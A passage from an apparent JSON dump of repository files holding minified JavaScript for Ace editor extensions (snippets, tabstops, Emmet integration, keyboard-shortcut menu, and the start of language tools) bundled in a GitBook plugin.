i!=\"object\")continue;if(i.skip)o(i);else{if(i.processed<r)continue;if(i.text){var s=this.getVariableValue(t,i.text);s&&i.fmtString&&(s=this.tmStrFormat(s,i)),i.processed=r,i.expectIf==null?s&&(n.push(s),o(i)):s?i.skip=i.elseBranch:o(i)}else i.tabstopId!=null?n.push(i):i.changeCase!=null&&n.push(i)}}}return n},this.insertSnippetForSelection=function(e,t){function f(e){var t=[];for(var n=0;n<e.length;n++){var r=e[n];if(typeof r==\"object\"){if(a[r.tabstopId])continue;var i=e.lastIndexOf(r,n-1);r=t[i]||{tabstopId:r.tabstopId}}t[n]=r}return t}var n=e.getCursorPosition(),r=e.session.getLine(n.row),i=e.session.getTabString(),s=r.match(/^\\s*/)[0];n.column<s.length&&(s=s.slice(0,n.column));var o=this.tokenizeTmSnippet(t);o=this.resolveVariables(o,e),o=o.map(function(e){return e==\"\\n\"?e+s:typeof e==\"string\"?e.replace(/\\t/g,i):e});var u=[];o.forEach(function(e,t){if(typeof e!=\"object\")return;var n=e.tabstopId,r=u[n];r||(r=u[n]=[],r.index=n,r.value=\"\");if(r.indexOf(e)!==-1)return;r.push(e);var i=o.indexOf(e,t+1);if(i===-1)return;var s=o.slice(t+1,i),a=s.some(function(e){return typeof e==\"object\"});a&&!r.value?r.value=s:s.length&&(!r.value||typeof r.value!=\"string\")&&(r.value=s.join(\"\"))}),u.forEach(function(e){e.length=0});var a={};for(var l=0;l<o.length;l++){var c=o[l];if(typeof c!=\"object\")continue;var p=c.tabstopId,d=o.indexOf(c,l+1);if(a[p]){a[p]===c&&(a[p]=null);continue}var v=u[p],m=typeof v.value==\"string\"?[v.value]:f(v.value);m.unshift(l+1,Math.max(0,d-l)),m.push(c),a[p]=c,o.splice.apply(o,m),v.indexOf(c)===-1&&v.push(c)}var g=0,y=0,b=\"\";o.forEach(function(e){typeof e==\"string\"?(e[0]===\"\\n\"?(y=e.length-1,g++):y+=e.length,b+=e):e.start?e.end={row:g,column:y}:e.start={row:g,column:y}});var w=e.getSelectionRange(),E=e.session.replace(w,b),S=new h(e),x=e.inVirtualSelectionMode&&e.selection.index;S.addTabstops(u,w.start,E,x)},this.insertSnippet=function(e,t){var n=this;if(e.inVirtualSelectionMode)return n.insertSnippetForSelection(e,t);e.forEachSelection(function(){n.insertSnippetForSelection(e,t)},null,{keepOrder:!0}),e.tabstopManager&&e.tabstopManager.tabNext()},this.$getScope=function(e){var t=e.session.$mode.$id||\"\";t=t.split(\"/\").pop();if(t===\"html\"||t===\"php\"){t===\"php\"&&!e.session.$mode.inlinePhp&&(t=\"html\");var n=e.getCursorPosition(),r=e.session.getState(n.row);typeof r==\"object\"&&(r=r[0]),r.substring&&(r.substring(0,3)==\"js-\"?t=\"javascript\":r.substring(0,4)==\"css-\"?t=\"css\":r.substring(0,4)==\"php-\"&&(t=\"php\"))}return t},this.getActiveScopes=function(e){var t=this.$getScope(e),n=[t],r=this.snippetMap;return r[t]&&r[t].includeScopes&&n.push.apply(n,r[t].includeScopes),n.push(\"_\"),n},this.expandWithTab=function(e,t){var n=this,r=e.forEachSelection(function(){return n.expandSnippetForSelection(e,t)},null,{keepOrder:!0});return r&&e.tabstopManager&&e.tabstopManager.tabNext(),r},this.expandSnippetForSelection=function(e,t){var n=e.getCursorPosition(),r=e.session.getLine(n.row),i=r.substring(0,n.column),s=r.substr(n.column),o=this.snippetMap,u;return this.getActiveScopes(e).some(function(e){var t=o[e];return t&&(u=this.findMatchingSnippet(t,i,s)),!!u},this),u?t&&t.dryRun?!0:(e.session.doc.removeInLine(n.row,n.column-u.replaceBefore.length,n.column+u.replaceAfter.length),this.variables.M__=u.matchBefore,this.variables.T__=u.matchAfter,this.insertSnippetForSelection(e,u.content),this.variables.M__=this.variables.T__=null,!0):!1},this.findMatchingSnippet=function(e,t,n){for(var r=e.length;r--;){var i=e[r];if(i.startRe&&!i.startRe.test(t))continue;if(i.endRe&&!i.endRe.test(n))continue;if(!i.startRe&&!i.endRe)continue;return i.matchBefore=i.startRe?i.startRe.exec(t):[\"\"],i.matchAfter=i.endRe?i.endRe.exec(n):[\"\"],i.replaceBefore=i.triggerRe?i.triggerRe.exec(t)[0]:\"\",i.replaceAfter=i.endTriggerRe?i.endTriggerRe.exec(n)[0]:\"\",i}},this.snippetMap={},this.snippetNameMap={},this.register=function(e,t){function o(e){return e&&!/^\\^?\\(.*\\)\\$?$|^\\\\b$/.test(e)&&(e=\"(?:\"+e+\")\"),e||\"\"}function u(e,t,n){return e=o(e),t=o(t),n?(e=t+e,e&&e[e.length-1]!=\"$\"&&(e+=\"$\")):(e+=t,e&&e[0]!=\"^\"&&(e=\"^\"+e)),new RegExp(e)}function a(e){e.scope||(e.scope=t||\"_\"),t=e.scope,n[t]||(n[t]=[],r[t]={});var o=r[t];if(e.name){var a=o[e.name];a&&i.unregister(a),o[e.name]=e}n[t].push(e),e.tabTrigger&&!e.trigger&&(!e.guard&&/^\\w/.test(e.tabTrigger)&&(e.guard=\"\\\\b\"),e.trigger=s.escapeRegExp(e.tabTrigger));if(!e.trigger&&!e.guard&&!e.endTrigger&&!e.endGuard)return;e.startRe=u(e.trigger,e.guard,!0),e.triggerRe=new RegExp(e.trigger,\"\",!0),e.endRe=u(e.endTrigger,e.endGuard,!0),e.endTriggerRe=new RegExp(e.endTrigger,\"\",!0)}var n=this.snippetMap,r=this.snippetNameMap,i=this;e||(e=[]),e&&e.content?a(e):Array.isArray(e)&&e.forEach(a),this._signal(\"registerSnippets\",{scope:t})},this.unregister=function(e,t){function i(e){var i=r[e.scope||t];if(i&&i[e.name]){delete i[e.name];var s=n[e.scope||t],o=s&&s.indexOf(e);o>=0&&s.splice(o,1)}}var n=this.snippetMap,r=this.snippetNameMap;e.content?i(e):Array.isArray(e)&&e.forEach(i)},this.parseSnippetFile=function(e){e=e.replace(/\\r/g,\"\");var t=[],n={},r=/^#.*|^({[\\s\\S]*})\\s*$|^(\\S+) (.*)$|^((?:\\n*\\t.*)+)/gm,i;while(i=r.exec(e)){if(i[1])try{n=JSON.parse(i[1]),t.push(n)}catch(s){}if(i[4])n.content=i[4].replace(/^\\t/gm,\"\"),t.push(n),n={};else{var o=i[2],u=i[3];if(o==\"regex\"){var a=/\\/((?:[^\\/\\\\]|\\\\.)*)|$/g;n.guard=a.exec(u)[1],n.trigger=a.exec(u)[1],n.endTrigger=a.exec(u)[1],n.endGuard=a.exec(u)[1]}else o==\"snippet\"?(n.tabTrigger=u.match(/^\\S*/)[0],n.name||(n.name=u)):n[o]=u}}return t},this.getSnippetByName=function(e,t){var n=this.snippetNameMap,r;return this.getActiveScopes(t).some(function(t){var i=n[t];return i&&(r=i[e]),!!r},this),r}}).call(c.prototype);var h=function(e){if(e.tabstopManager)return e.tabstopManager;e.tabstopManager=this,this.$onChange=this.onChange.bind(this),this.$onChangeSelection=s.delayedCall(this.onChangeSelection.bind(this)).schedule,this.$onChangeSession=this.onChangeSession.bind(this),this.$onAfterExec=this.onAfterExec.bind(this),this.attach(e)};(function(){this.attach=function(e){this.index=0,this.ranges=[],this.tabstops=[],this.$openTabstops=null,this.selectedTabstop=null,this.editor=e,this.editor.on(\"change\",this.$onChange),this.editor.on(\"changeSelection\",this.$onChangeSelection),this.editor.on(\"changeSession\",this.$onChangeSession),this.editor.commands.on(\"afterExec\",this.$onAfterExec),this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.detach=function(){this.tabstops.forEach(this.removeTabstopMarkers,this),this.ranges=null,this.tabstops=null,this.selectedTabstop=null,this.editor.removeListener(\"change\",this.$onChange),this.editor.removeListener(\"changeSelection\",this.$onChangeSelection),this.editor.removeListener(\"changeSession\",this.$onChangeSession),this.editor.commands.removeListener(\"afterExec\",this.$onAfterExec),this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler),this.editor.tabstopManager=null,this.editor=null},this.onChange=function(e){var t=e,n=e.action[0]==\"r\",r=e.start,i=e.end,s=r.row,o=i.row,u=o-s,a=i.column-r.column;n&&(u=-u,a=-a);if(!this.$inChange&&n){var f=this.selectedTabstop,c=f&&!f.some(function(e){return l(e.start,r)<=0&&l(e.end,i)>=0});if(c)return this.detach()}var h=this.ranges;for(var p=0;p<h.length;p++){var d=h[p];if(d.end.row<r.row)continue;if(n&&l(r,d.start)<0&&l(i,d.end)>0){this.removeRange(d),p--;continue}d.start.row==s&&d.start.column>r.column&&(d.start.column+=a),d.end.row==s&&d.end.column>=r.column&&(d.end.column+=a),d.start.row>=s&&(d.start.row+=u),d.end.row>=s&&(d.end.row+=u),l(d.start,d.end)>0&&this.removeRange(d)}h.length||this.detach()},this.updateLinkedFields=function(){var e=this.selectedTabstop;if(!e||!e.hasLinkedRanges)return;this.$inChange=!0;var n=this.editor.session,r=n.getTextRange(e.firstNonLinked);for(var i=e.length;i--;){var s=e[i];if(!s.linked)continue;var o=t.snippetManager.tmStrFormat(r,s.original);n.replace(s,o)}this.$inChange=!1},this.onAfterExec=function(e){e.command&&!e.command.readOnly&&this.updateLinkedFields()},this.onChangeSelection=function(){if(!this.editor)return;var e=this.editor.selection.lead,t=this.editor.selection.anchor,n=this.editor.selection.isEmpty();for(var r=this.ranges.length;r--;){if(this.ranges[r].linked)continue;var i=this.ranges[r].contains(e.row,e.column),s=n||this.ranges[r].contains(t.row,t.column);if(i&&s)return}this.detach()},this.onChangeSession=function(){this.detach()},this.tabNext=function(e){var t=this.tabstops.length,n=this.index+(e||1);n=Math.min(Math.max(n,1),t),n==t&&(n=0),this.selectTabstop(n),n===0&&this.detach()},this.selectTabstop=function(e){this.$openTabstops=null;var t=this.tabstops[this.index];t&&this.addTabstopMarkers(t),this.index=e,t=this.tabstops[this.index];if(!t||!t.length)return;this.selectedTabstop=t;if(!this.editor.inVirtualSelectionMode){var n=this.editor.multiSelect;n.toSingleRange(t.firstNonLinked.clone());for(var r=t.length;r--;){if(t.hasLinkedRanges&&t[r].linked)continue;n.addRange(t[r].clone(),!0)}n.ranges[0]&&n.addRange(n.ranges[0].clone())}else this.editor.selection.setRange(t.firstNonLinked);this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.addTabstops=function(e,t,n){this.$openTabstops||(this.$openTabstops=[]);if(!e[0]){var r=o.fromPoints(n,n);v(r.start,t),v(r.end,t),e[0]=[r],e[0].index=0}var i=this.index,s=[i+1,0],u=this.ranges;e.forEach(function(e,n){var r=this.$openTabstops[n]||e;for(var i=e.length;i--;){var a=e[i],f=o.fromPoints(a.start,a.end||a.start);d(f.start,t),d(f.end,t),f.original=a,f.tabstop=r,u.push(f),r!=e?r.unshift(f):r[i]=f,a.fmtString?(f.linked=!0,r.hasLinkedRanges=!0):r.firstNonLinked||(r.firstNonLinked=f)}r.firstNonLinked||(r.hasLinkedRanges=!1),r===e&&(s.push(r),this.$openTabstops[n]=r),this.addTabstopMarkers(r)},this),s.length>2&&(this.tabstops.length&&s.push(s.splice(2,1)[0]),this.tabstops.splice.apply(this.tabstops,s))},this.addTabstopMarkers=function(e){var t=this.editor.session;e.forEach(function(e){e.markerId||(e.markerId=t.addMarker(e,\"ace_snippet-marker\",\"text\"))})},this.removeTabstopMarkers=function(e){var t=this.editor.session;e.forEach(function(e){t.removeMarker(e.markerId),e.markerId=null})},this.removeRange=function(e){var t=e.tabstop.indexOf(e);e.tabstop.splice(t,1),t=this.ranges.indexOf(e),this.ranges.splice(t,1),this.editor.session.removeMarker(e.markerId),e.tabstop.length||(t=this.tabstops.indexOf(e.tabstop),t!=-1&&this.tabstops.splice(t,1),this.tabstops.length||this.detach())},this.keyboardHandler=new a,this.keyboardHandler.bindKeys({Tab:function(e){if(t.snippetManager&&t.snippetManager.expandWithTab(e))return;e.tabstopManager.tabNext(1)},\"Shift-Tab\":function(e){e.tabstopManager.tabNext(-1)},Esc:function(e){e.tabstopManager.detach()},Return:function(e){return!1}})}).call(h.prototype);var p={};p.onChange=u.prototype.onChange,p.setPosition=function(e,t){this.pos.row=e,this.pos.column=t},p.update=function(e,t,n){this.$insertRight=n,this.pos=e,this.onChange(t)};var d=function(e,t){e.row==0&&(e.column+=t.column),e.row+=t.row},v=function(e,t){e.row==t.row&&(e.column-=t.column),e.row-=t.row};e(\"./lib/dom\").importCssString(\".ace_snippet-marker {    -moz-box-sizing: border-box;    box-sizing: border-box;    background: rgba(194, 193, 208, 0.09);    border: 1px dotted rgba(211, 208, 235, 0.62);    position: absolute;}\"),t.snippetManager=new c;var m=e(\"./editor\").Editor;(function(){this.insertSnippet=function(e,n){return t.snippetManager.insertSnippet(this,e,n)},this.expandSnippet=function(e){return t.snippetManager.expandWithTab(this,e)}}).call(m.prototype)}),define(\"ace/ext/emmet\",[\"require\",\"exports\",\"module\",\"ace/keyboard/hash_handler\",\"ace/editor\",\"ace/snippets\",\"ace/range\",\"resources\",\"resources\",\"range\",\"tabStops\",\"resources\",\"utils\",\"actions\",\"ace/config\",\"ace/config\"],function(e,t,n){\"use strict\";function f(){}var r=e(\"ace/keyboard/hash_handler\").HashHandler,i=e(\"ace/editor\").Editor,s=e(\"ace/snippets\").snippetManager,o=e(\"ace/range\").Range,u,a;f.prototype={setupContext:function(e){this.ace=e,this.indentation=e.session.getTabString(),u||(u=window.emmet),u.require(\"resources\").setVariable(\"indentation\",this.indentation),this.$syntax=null,this.$syntax=this.getSyntax()},getSelectionRange:function(){var e=this.ace.getSelectionRange(),t=this.ace.session.doc;return{start:t.positionToIndex(e.start),end:t.positionToIndex(e.end)}},createSelection:function(e,t){var n=this.ace.session.doc;this.ace.selection.setRange({start:n.indexToPosition(e),end:n.indexToPosition(t)})},getCurrentLineRange:function(){var e=this.ace,t=e.getCursorPosition().row,n=e.session.getLine(t).length,r=e.session.doc.positionToIndex({row:t,column:0});return{start:r,end:r+n}},getCaretPos:function(){var e=this.ace.getCursorPosition();return this.ace.session.doc.positionToIndex(e)},setCaretPos:function(e){var t=this.ace.session.doc.indexToPosition(e);this.ace.selection.moveToPosition(t)},getCurrentLine:function(){var e=this.ace.getCursorPosition().row;return this.ace.session.getLine(e)},replaceContent:function(e,t,n,r){n==null&&(n=t==null?this.getContent().length:t),t==null&&(t=0);var i=this.ace,u=i.session.doc,a=o.fromPoints(u.indexToPosition(t),u.indexToPosition(n));i.session.remove(a),a.end=a.start,e=this.$updateTabstops(e),s.insertSnippet(i,e)},getContent:function(){return this.ace.getValue()},getSyntax:function(){if(this.$syntax)return this.$syntax;var e=this.ace.session.$modeId.split(\"/\").pop();if(e==\"html\"||e==\"php\"){var t=this.ace.getCursorPosition(),n=this.ace.session.getState(t.row);typeof n!=\"string\"&&(n=n[0]),n&&(n=n.split(\"-\"),n.length>1?e=n[0]:e==\"php\"&&(e=\"html\"))}return e},getProfileName:function(){switch(this.getSyntax()){case\"css\":return\"css\";case\"xml\":case\"xsl\":return\"xml\";case\"html\":var e=u.require(\"resources\").getVariable(\"profile\");return e||(e=this.ace.session.getLines(0,2).join(\"\").search(/<!DOCTYPE[^>]+XHTML/i)!=-1?\"xhtml\":\"html\"),e;default:var t=this.ace.session.$mode;return t.emmetConfig&&t.emmetConfig.profile||\"xhtml\"}},prompt:function(e){return prompt(e)},getSelection:function(){return this.ace.session.getTextRange()},getFilePath:function(){return\"\"},$updateTabstops:function(e){var t=1e3,n=0,r=null,i=u.require(\"range\"),s=u.require(\"tabStops\"),o=u.require(\"resources\").getVocabulary(\"user\"),a={tabstop:function(e){var o=parseInt(e.group,10),u=o===0;u?o=++n:o+=t;var f=e.placeholder;f&&(f=s.processText(f,a));var l=\"${\"+o+(f?\":\"+f:\"\")+\"}\";return u&&(r=i.create(e.start,l)),l},escape:function(e){return e==\"$\"?\"\\\\$\":e==\"\\\\\"?\"\\\\\\\\\":e}};return e=s.processText(e,a),o.variables.insert_final_tabstop&&!/\\$\\{0\\}$/.test(e)?e+=\"${0}\":r&&(e=u.require(\"utils\").replaceSubstring(e,\"${0}\",r)),e}};var l={expand_abbreviation:{mac:\"ctrl+alt+e\",win:\"alt+e\"},match_pair_outward:{mac:\"ctrl+d\",win:\"ctrl+,\"},match_pair_inward:{mac:\"ctrl+j\",win:\"ctrl+shift+0\"},matching_pair:{mac:\"ctrl+alt+j\",win:\"alt+j\"},next_edit_point:\"alt+right\",prev_edit_point:\"alt+left\",toggle_comment:{mac:\"command+/\",win:\"ctrl+/\"},split_join_tag:{mac:\"shift+command+'\",win:\"shift+ctrl+`\"},remove_tag:{mac:\"command+'\",win:\"shift+ctrl+;\"},evaluate_math_expression:{mac:\"shift+command+y\",win:\"shift+ctrl+y\"},increment_number_by_1:\"ctrl+up\",decrement_number_by_1:\"ctrl+down\",increment_number_by_01:\"alt+up\",decrement_number_by_01:\"alt+down\",increment_number_by_10:{mac:\"alt+command+up\",win:\"shift+alt+up\"},decrement_number_by_10:{mac:\"alt+command+down\",win:\"shift+alt+down\"},select_next_item:{mac:\"shift+command+.\",win:\"shift+ctrl+.\"},select_previous_item:{mac:\"shift+command+,\",win:\"shift+ctrl+,\"},reflect_css_value:{mac:\"shift+command+r\",win:\"shift+ctrl+r\"},encode_decode_data_url:{mac:\"shift+ctrl+d\",win:\"ctrl+'\"},expand_abbreviation_with_tab:\"Tab\",wrap_with_abbreviation:{mac:\"shift+ctrl+a\",win:\"shift+ctrl+a\"}},c=new f;t.commands=new r,t.runEmmetCommand=function v(e){try{c.setupContext(e);var t=u.require(\"actions\");if(this.action==\"expand_abbreviation_with_tab\"&&!e.selection.isEmpty())return!1;if(this.action==\"wrap_with_abbreviation\")return setTimeout(function(){t.run(\"wrap_with_abbreviation\",c)},0);var n=e.selection.lead,r=e.session.getTokenAt(n.row,n.column);if(r&&/\\btag\\b/.test(r.type))return!1;var i=t.run(this.action,c)}catch(s){if(!u)return d(v.bind(this,e)),!0;e._signal(\"changeStatus\",typeof s==\"string\"?s:s.message),console.log(s),i=!1}return i};for(var h in l)t.commands.addCommand({name:\"emmet:\"+h,action:h,bindKey:l[h],exec:t.runEmmetCommand,multiSelectAction:\"forEach\"});t.updateCommands=function(e,n){n?e.keyBinding.addKeyboardHandler(t.commands):e.keyBinding.removeKeyboardHandler(t.commands)},t.isSupportedMode=function(e){if(!e)return!1;if(e.emmetConfig)return!0;var t=e.$id||e;return/css|less|scss|sass|stylus|html|php|twig|ejs|handlebars/.test(t)},t.isAvailable=function(e,n){if(/(evaluate_math_expression|expand_abbreviation)$/.test(n))return!0;var r=e.session.$mode,i=t.isSupportedMode(r);if(i&&r.$modes)try{c.setupContext(e),/js|php/.test(c.getSyntax())&&(i=!1)}catch(s){}return i};var p=function(e,n){var r=n;if(!r)return;var i=t.isSupportedMode(r.session.$mode);e.enableEmmet===!1&&(i=!1),i&&d(),t.updateCommands(r,i)},d=function(t){typeof a==\"string\"&&e(\"ace/config\").loadModule(a,function(){a=null,t&&t()})};t.AceEmmetEditor=f,e(\"ace/config\").defineOptions(i.prototype,\"editor\",{enableEmmet:{set:function(e){this[e?\"on\":\"removeListener\"](\"changeMode\",p),p({enableEmmet:!!e},this)},value:!0}}),t.setCore=function(e){typeof e==\"string\"?a=e:u=e}});\n                (function() {\n                    window.require([\"ace/ext/emmet\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-error_marker.js",
    "content": ";\n                (function() {\n                    window.require([\"ace/ext/error_marker\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-keybinding_menu.js",
    "content": "define(\"ace/ext/menu_tools/overlay_page\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/dom\"),i=\"#ace_settingsmenu, #kbshortcutmenu {background-color: #F7F7F7;color: black;box-shadow: -5px 4px 5px rgba(126, 126, 126, 0.55);padding: 1em 0.5em 2em 1em;overflow: auto;position: absolute;margin: 0;bottom: 0;right: 0;top: 0;z-index: 9991;cursor: default;}.ace_dark #ace_settingsmenu, .ace_dark #kbshortcutmenu {box-shadow: -20px 10px 25px rgba(126, 126, 126, 0.25);background-color: rgba(255, 255, 255, 0.6);color: black;}.ace_optionsMenuEntry:hover {background-color: rgba(100, 100, 100, 0.1);-webkit-transition: all 0.5s;transition: all 0.3s}.ace_closeButton {background: rgba(245, 146, 146, 0.5);border: 1px solid #F48A8A;border-radius: 50%;padding: 7px;position: absolute;right: -8px;top: -8px;z-index: 1000;}.ace_closeButton{background: rgba(245, 146, 146, 0.9);}.ace_optionsMenuKey {color: darkslateblue;font-weight: bold;}.ace_optionsMenuCommand {color: darkcyan;font-weight: normal;}\";r.importCssString(i),n.exports.overlayPage=function(t,n,i,s,o,u){function l(e){e.keyCode===27&&a.click()}i=i?\"top: \"+i+\";\":\"\",o=o?\"bottom: \"+o+\";\":\"\",s=s?\"right: \"+s+\";\":\"\",u=u?\"left: \"+u+\";\":\"\";var a=document.createElement(\"div\"),f=document.createElement(\"div\");a.style.cssText=\"margin: 0; padding: 0; position: fixed; top:0; bottom:0; left:0; right:0;z-index: 9990; background-color: rgba(0, 0, 0, 0.3);\",a.addEventListener(\"click\",function(){document.removeEventListener(\"keydown\",l),a.parentNode.removeChild(a),t.focus(),a=null}),document.addEventListener(\"keydown\",l),f.style.cssText=i+s+o+u,f.addEventListener(\"click\",function(e){e.stopPropagation()});var c=r.createElement(\"div\");c.style.position=\"relative\";var h=r.createElement(\"div\");h.className=\"ace_closeButton\",h.addEventListener(\"click\",function(){a.click()}),c.appendChild(h),f.appendChild(c),f.appendChild(n),a.appendChild(f),document.body.appendChild(a),t.blur()}}),define(\"ace/ext/menu_tools/get_editor_keyboard_shortcuts\",[\"require\",\"exports\",\"module\",\"ace/lib/keys\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/keys\");n.exports.getEditorKeybordShortcuts=function(e){var t=r.KEY_MODS,n=[],i={};return e.keyBinding.$handlers.forEach(function(e){var t=e.commandKeyBinding;for(var r in t){var s=r.replace(/(^|-)\\w/g,function(e){return e.toUpperCase()}),o=t[r];Array.isArray(o)||(o=[o]),o.forEach(function(e){typeof e!=\"string\"&&(e=e.name),i[e]?i[e].key+=\"|\"+s:(i[e]={key:s,command:e},n.push(i[e]))})}}),n}}),define(\"ace/ext/keybinding_menu\",[\"require\",\"exports\",\"module\",\"ace/editor\",\"ace/ext/menu_tools/overlay_page\",\"ace/ext/menu_tools/get_editor_keyboard_shortcuts\"],function(e,t,n){\"use strict\";function i(t){if(!document.getElementById(\"kbshortcutmenu\")){var n=e(\"./menu_tools/overlay_page\").overlayPage,r=e(\"./menu_tools/get_editor_keyboard_shortcuts\").getEditorKeybordShortcuts,i=r(t),s=document.createElement(\"div\"),o=i.reduce(function(e,t){return e+'<div class=\"ace_optionsMenuEntry\"><span class=\"ace_optionsMenuCommand\">'+t.command+\"</span> : \"+'<span class=\"ace_optionsMenuKey\">'+t.key+\"</span></div>\"},\"\");s.id=\"kbshortcutmenu\",s.innerHTML=\"<h1>Keyboard Shortcuts</h1>\"+o+\"</div>\",n(t,s,\"0\",\"0\",\"0\",null)}}var r=e(\"ace/editor\").Editor;n.exports.init=function(e){r.prototype.showKeyboardShortcuts=function(){i(this)},e.commands.addCommands([{name:\"showKeyboardShortcuts\",bindKey:{win:\"Ctrl-Alt-h\",mac:\"Command-Alt-h\"},exec:function(e,t){e.showKeyboardShortcuts()}}])}});\n                (function() {\n                    window.require([\"ace/ext/keybinding_menu\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-language_tools.js",
    "content": "define(\"ace/snippets\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\",\"ace/lib/lang\",\"ace/range\",\"ace/anchor\",\"ace/keyboard/hash_handler\",\"ace/tokenizer\",\"ace/lib/dom\",\"ace/editor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=e(\"./lib/lang\"),o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=e(\"./keyboard/hash_handler\").HashHandler,f=e(\"./tokenizer\").Tokenizer,l=o.comparePoints,c=function(){this.snippetMap={},this.snippetNameMap={}};(function(){r.implement(this,i),this.getTokenizer=function(){function e(e,t,n){return e=e.substr(1),/^\\d+$/.test(e)&&!n.inFormatString?[{tabstopId:parseInt(e,10)}]:[{text:e}]}function t(e){return\"(?:[^\\\\\\\\\"+e+\"]|\\\\\\\\.)\"}return c.$tokenizer=new f({start:[{regex:/:/,onMatch:function(e,t,n){return n.length&&n[0].expectIf?(n[0].expectIf=!1,n[0].elseBranch=n[0],[n[0]]):\":\"}},{regex:/\\\\./,onMatch:function(e,t,n){var r=e[1];return r==\"}\"&&n.length?e=r:\"`$\\\\\".indexOf(r)!=-1?e=r:n.inFormatString&&(r==\"n\"?e=\"\\n\":r==\"t\"?e=\"\\n\":\"ulULE\".indexOf(r)!=-1&&(e={changeCase:r,local:r>\"a\"})),[e]}},{regex:/}/,onMatch:function(e,t,n){return[n.length?n.shift():e]}},{regex:/\\$(?:\\d+|\\w+)/,onMatch:e},{regex:/\\$\\{[\\dA-Z_a-z]+/,onMatch:function(t,n,r){var i=e(t.substr(1),n,r);return r.unshift(i[0]),i},next:\"snippetVar\"},{regex:/\\n/,token:\"newline\",merge:!1}],snippetVar:[{regex:\"\\\\|\"+t(\"\\\\|\")+\"*\\\\|\",onMatch:function(e,t,n){n[0].choices=e.slice(1,-1).split(\",\")},next:\"start\"},{regex:\"/(\"+t(\"/\")+\"+)/(?:(\"+t(\"/\")+\"*)/)(\\\\w*):?\",onMatch:function(e,t,n){var r=n[0];return r.fmtString=e,e=this.splitRegex.exec(e),r.guard=e[1],r.fmt=e[2],r.flag=e[3],\"\"},next:\"start\"},{regex:\"`\"+t(\"`\")+\"*`\",onMatch:function(e,t,n){return n[0].code=e.splice(1,-1),\"\"},next:\"start\"},{regex:\"\\\\?\",onMatch:function(e,t,n){n[0]&&(n[0].expectIf=!0)},next:\"start\"},{regex:\"([^:}\\\\\\\\]|\\\\\\\\.)*:?\",token:\"\",next:\"start\"}],formatString:[{regex:\"/(\"+t(\"/\")+\"+)/\",token:\"regex\"},{regex:\"\",onMatch:function(e,t,n){n.inFormatString=!0},next:\"start\"}]}),c.prototype.getTokenizer=function(){return c.$tokenizer},c.$tokenizer},this.tokenizeTmSnippet=function(e,t){return this.getTokenizer().getLineTokens(e,t).tokens.map(function(e){return e.value||e})},this.$getDefaultValue=function(e,t){if(/^[A-Z]\\d+$/.test(t)){var n=t.substr(1);return(this.variables[t[0]+\"__\"]||{})[n]}if(/^\\d+$/.test(t))return(this.variables.__||{})[t];t=t.replace(/^TM_/,\"\");if(!e)return;var r=e.session;switch(t){case\"CURRENT_WORD\":var i=r.getWordRange();case\"SELECTION\":case\"SELECTED_TEXT\":return r.getTextRange(i);case\"CURRENT_LINE\":return r.getLine(e.getCursorPosition().row);case\"PREV_LINE\":return r.getLine(e.getCursorPosition().row-1);case\"LINE_INDEX\":return e.getCursorPosition().column;case\"LINE_NUMBER\":return e.getCursorPosition().row+1;case\"SOFT_TABS\":return r.getUseSoftTabs()?\"YES\":\"NO\";case\"TAB_SIZE\":return r.getTabSize();case\"FILENAME\":case\"FILEPATH\":return\"\";case\"FULLNAME\":return\"Ace\"}},this.variables={},this.getVariableValue=function(e,t){return this.variables.hasOwnProperty(t)?this.variables[t](e,t)||\"\":this.$getDefaultValue(e,t)||\"\"},this.tmStrFormat=function(e,t,n){var r=t.flag||\"\",i=t.guard;i=new RegExp(i,r.replace(/[^gi]/,\"\"));var s=this.tokenizeTmSnippet(t.fmt,\"formatString\"),o=this,u=e.replace(i,function(){o.variables.__=arguments;var e=o.resolveVariables(s,n),t=\"E\";for(var r=0;r<e.length;r++){var i=e[r];if(typeof i==\"object\"){e[r]=\"\";if(i.changeCase&&i.local){var u=e[r+1];u&&typeof u==\"string\"&&(i.changeCase==\"u\"?e[r]=u[0].toUpperCase():e[r]=u[0].toLowerCase(),e[r+1]=u.substr(1))}else i.changeCase&&(t=i.changeCase)}else t==\"U\"?e[r]=i.toUpperCase():t==\"L\"&&(e[r]=i.toLowerCase())}return e.join(\"\")});return this.variables.__=null,u},this.resolveVariables=function(e,t){function o(t){var n=e.indexOf(t,r+1);n!=-1&&(r=n)}var n=[];for(var r=0;r<e.length;r++){var i=e[r];if(typeof i==\"string\")n.push(i);else{if(typeof i!=\"object\")continue;if(i.skip)o(i);else{if(i.processed<r)continue;if(i.text){var s=this.getVariableValue(t,i.text);s&&i.fmtString&&(s=this.tmStrFormat(s,i)),i.processed=r,i.expectIf==null?s&&(n.push(s),o(i)):s?i.skip=i.elseBranch:o(i)}else i.tabstopId!=null?n.push(i):i.changeCase!=null&&n.push(i)}}}return n},this.insertSnippetForSelection=function(e,t){function f(e){var t=[];for(var n=0;n<e.length;n++){var r=e[n];if(typeof r==\"object\"){if(a[r.tabstopId])continue;var i=e.lastIndexOf(r,n-1);r=t[i]||{tabstopId:r.tabstopId}}t[n]=r}return t}var n=e.getCursorPosition(),r=e.session.getLine(n.row),i=e.session.getTabString(),s=r.match(/^\\s*/)[0];n.column<s.length&&(s=s.slice(0,n.column));var o=this.tokenizeTmSnippet(t);o=this.resolveVariables(o,e),o=o.map(function(e){return e==\"\\n\"?e+s:typeof e==\"string\"?e.replace(/\\t/g,i):e});var u=[];o.forEach(function(e,t){if(typeof e!=\"object\")return;var n=e.tabstopId,r=u[n];r||(r=u[n]=[],r.index=n,r.value=\"\");if(r.indexOf(e)!==-1)return;r.push(e);var i=o.indexOf(e,t+1);if(i===-1)return;var s=o.slice(t+1,i),a=s.some(function(e){return typeof e==\"object\"});a&&!r.value?r.value=s:s.length&&(!r.value||typeof 